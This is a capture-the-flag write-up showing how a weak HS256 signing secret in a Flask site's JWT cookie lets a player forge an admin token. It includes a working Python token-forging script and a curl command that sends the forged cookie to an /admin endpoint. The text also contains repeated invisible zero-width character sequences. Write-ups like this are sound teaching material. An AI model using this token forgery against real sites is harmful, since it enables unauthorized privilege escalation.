← Back to Writeups
CUSTOMEasyWeb

Web Center

XESXOR9/10/20263 min read
#web#custom#easy#jwt_secret_bruteforce#jwt_token_forgery#role_escalation#linux

Web Center

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: jwt_secret_bruteforce, jwt_token_forgery, role_escalation

Summary

Task: a Flask/Werkzeug site used an HS256 JWT in a cookie for authentication and stored the user's role directly inside the token. Solution: recover the weak signing secret, forge an admin token, and send it to /admin to escalate privileges and reveal the flag.

Web Center — Hackerlab

Description

Original task name: «Веб-центр»

Target: http://62.173.140.174:16110

The application was a small Flask/Werkzeug site with a login form at /login. It only asked for a username, then issued a JWT in the session_token cookie and used that token for authorization.

Analysis

Initial recon

Requesting / showed a Flask application with Werkzeug headers:

http
Server: Werkzeug/3.1.5 Python/3.11.6

The login page at /login did not require a password. Submitting username=guest returned a 302 response and set a cookie named session_token. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Example token:

text
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzUyNTYxMjl9.mDTs8xPThF87Ai8Z53k7xP-MS3geyhAL0hogz3mid_c

Decoding the token revealed:

  • alg = HS256
  • username = guest
  • role = user
  • exp = <timestamp>

That immediately suggested the usual JWT attack path: if the server trusted the role claim and the HS256 secret was weak, a forged admin token would be enough to reach privileged functionality.

Core issue

The application trusted a client-supplied JWT cookie for authorization and stored the role directly inside the payload. Because validation used a weak HS256 secret, the token could be signed by an attacker after recovering the secret. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The discovered secret was:

text
hunter

With that secret, it was possible to generate a valid token for:

json
{"username":"admin","role":"admin","exp":1775257936}

Exploitation Steps

1. Obtain a normal token

Log in as guest and capture the session_token cookie from the Set-Cookie header.

2. Decode and inspect the JWT

The token used HS256, so the same secret was used for both signing and verification. The payload already contained the authorization-relevant role claim, which meant privilege escalation would be possible if the secret could be guessed or brute-forced. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Forge an admin token

After recovering the secret hunter, create a new JWT with username=admin and role=admin, then sign it with HMAC-SHA256.

Working script:

python
#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import time


def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode().rstrip("=")


header = {"alg": "HS256", "typ": "JWT"}
payload = {
    "username": "admin",
    "role": "admin",
    "exp": int(time.time()) + 3600,
}
secret = b"hunter"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

header_b64 = b64url(json.dumps(header, separators=(",", ":")).encode())
payload_b64 = b64url(json.dumps(payload, separators=(",", ":")).encode())
message = f"{header_b64}.{payload_b64}".encode()
signature = b64url(hmac.new(secret, message, hashlib.sha256).digest())

token = f"{header_b64}.{payload_b64}.{signature}"
print(token)

Successful forged token example:

text
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc1MjU3OTM2fQ.M4y7wcHRh9IvLHVKMURxExqke35rsyLVeRtbUPrDy_I

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

4. Access the admin page

Send the forged token as the session_token cookie to /admin:

bash
curl "http://62.173.140.174:16110/admin" \
  -H 'Cookie: session_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc1MjU3OTM2fQ.M4y7wcHRh9IvLHVKMURxExqke35rsyLVeRtbUPrDy_I'

The response contained the admin panel and the flag:

text
Админ-панель
Флаг: CODEBY{REDACTED}

Why It Worked

This challenge combined two weak design decisions:

  1. Authorization trusted claims stored in a client-side JWT.
  2. The HS256 signing key was weak enough to recover. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Once the secret was known, privilege escalation became trivial because the server accepted any correctly signed payload, including one with role: admin. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍